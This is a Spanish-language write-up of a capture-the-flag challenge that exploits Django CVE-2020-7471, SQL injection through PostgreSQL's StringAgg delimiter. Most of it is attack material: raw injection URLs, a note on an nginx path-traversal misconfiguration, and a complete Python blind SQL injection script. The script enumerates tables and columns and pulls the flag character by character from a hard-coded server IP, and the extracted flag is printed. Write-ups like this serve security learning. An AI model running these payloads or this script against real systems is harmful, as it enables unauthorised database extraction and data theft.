
Como normalmente los hackers web se centran en estudiar la inyección SQL contra mysql, creé este problema usando postgresql para que pudieran experimentar ataques contra diversas bases de datos y adquirir experiencia con diferentes tipos de DB.
Para dar una pista sobre la vulnerabilidad del servicio Django,
se añadió un encabezado personalizado llamado Version en la respuesta HTTP,
indicando las versiones de Django y Postgres. Al buscar la vulnerabilidad de inyección SQL en Django 3.0.1, se encuentran códigos PoC públicos, etc.

Al acceder al sitio web se muestra la lista de publicaciones.

Al hacer clic en el número de la izquierda se consulta la publicación correspondiente basándose en su pk y el valor de content.

Código real del backend
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
custom_field=StringAgg('content', delimiter=content)).all()
StringAgg es una función que concatena cadenas con un delimitador y las devuelve, pero al no validar el valor de entrada,
se puede colocar un payload de inyección en la parte content.
http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
Path Traversal debida a un error de configuración del servidor nginx.
Al acceder a la URL http://118.67.135.137/static../, se volvió posible acceder a todos los archivos del servidor, obteniendo la flag al leer el archivo dump de respaldo.CVE-2020-7471
Django versión 1.11, 2.2 3.0.x ≤ 3.0.2, donde se descubrió
la vulnerabilidad de inyección SQL CVE-2020-7471 utilizada en este problema.
En el código relacionado con la función StringAgg entre las funciones de postgresql,
se produjo una vulnerabilidad debido a la insuficiente validación de argumentos.
import requests
server = "http://118.67.135.137/post/"
id = 1
content_param = f"/?content="
content = "IS_FREE!"
def exists_check(content):
"""응답값 체크용 함수"""
if "title" in str(content):
return True
else:
return False
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Host": "127.0.0.1:8000",
"Pragma": "no-cache",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}
def get_table_info_from_information_schema():
# table 개수 조회
table_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
table_count = table_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_count = table_count - 1
table_count_get = True
# table list 추출
table_row_list = []
# public table 개수 만큼 loop
for table_row in range(0,table_count):
# table 명 길이 조회
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
# table 이름 사이즈 만큼 루프
table_name = ""
for i in range(0,table_name_size):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_name = table_name+str(chr(ascii))
break
table_row_list.append(table_name)
print(table_row_list)
def get_column_info_from_information_schema():
vul_flag_column_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
#time.sleep(1)
vul_flag_column_count = vul_flag_column_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
vul_flag_column_count = vul_flag_column_count - 1
table_count_get = True
column_name_list = []
for i in range(0,vul_flag_column_count):
# table 명 길이 조회
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
#vul_flag table column 이름 조회
column_name = ""
for j in range(1,table_name_size+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
column_name = column_name+str(chr(ascii))
break
column_name_list.append(column_name)
print(column_name_list)
def get_flag_from_flag_table():
for flag_length in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
flag = ""
for j in range(1,flag_length+1):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
flag = flag+str(chr(ascii))
break
print(flag)
#Information Schema에서 테이블 정보 추출
#get_table_info_from_information_schema()
#테이블명 알아냈으니 information_schema에서 column 정보 추출
#get_column_info_from_information_schema()
#column정보 기반으로 flag 값 추출
get_flag_from_flag_table()
D033Y_!S_L0N3LY
make build
make up
PoC CVE-2020-7471 Seguridad de Django Documento oficial de Django Historial de lanzamientos de Django